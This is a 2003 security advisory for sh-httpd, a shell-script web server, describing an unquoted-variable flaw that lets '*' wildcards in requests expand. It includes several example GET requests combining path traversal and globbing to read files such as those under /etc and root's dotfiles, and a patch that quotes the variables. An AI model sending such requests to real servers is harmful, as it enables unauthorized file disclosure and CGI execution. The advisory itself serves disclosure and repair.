sh-httpd `wildcard character' vulnerability
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INetCop Security Advisory #2003-0x82-019
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* Title: sh-httpd `wildcard character' vulnerability
0x01. Description
About:
sh-httpd is a shell script-based Web server that supports GET and HEAD methods,
and a CGI 1.1 interface.
It's not real fast, and it's probably not real secure, but it is really small.
The Web server and it's configuration files are around 9,000 bytes total,
and that's with comments and pretty whitespace.
If you can run ash or bash, an inetd, and about 7 standard external commands on
your system,
you can have a Web server with CGI support.
There's also a timeout counter that kills never-ending CGI programs, cleans up,
and exits.
More detailed information is: http://lrp.steinkuehler.net/Packages/weblet.htm
Vulnerabilty happens '*' because don't filtering.
Through this character, can know existence of files to directory.
0x02. Vulnerable Packages
Vendor site: http://lrp.steinkuehler.net/Packages/weblet.htm
sh-httpd-0.4
-sh-httpd-0.4.tgz
+Unix
+Linux
+Other
sh-httpd-0.3
-sh-httpd-0.3.tgz
0x03. Exploit
This is very easy.
Only, as using '*', can read file of web directory freely or execute CGI.
For example, is as following.
GET *
GET ../../../sh-httpd/p*
GET /../../etc/s*
GET ../../root/.b*
You can read file path or contents, and if it is CGI, can execute. :-)
0x04. Patch
=== sh-httpd.patch ===
--- sh-httpd-0.4/sh-httpd Mon Oct 9 11:28:05 2000
+++ sh-httpd.patch Sat Jul 19 08:51:44 2003
@@ -31,7 +31,7 @@
bname() {
local IFS='/'
- set -- $1
+ set -- "$1"
eval rc="\$$#"
[ "$rc" = "" ] && eval rc="\$$(($# - 1))"
echo "$rc"
@@ -262,7 +262,7 @@
# Split URI into base and query string at ?
IFS='?'
- set -- $URI
+ set -- "$URI"
QUERY_STRING="$2"
URL="$1"
IFS=$OIFS
@@ -292,7 +292,7 @@
fi
DIR="`dname $URL`"
- FILE="`bname $URL`"
+ FILE="`bname "$URL"`"
# Check for existance of directory
if [ ! -d "$DOCROOT/$DIR" ]; then
=== eof ===
P.S: Sorry, for my poor english.
--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.
MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com
INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net & http://x82.inetcop.org
GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
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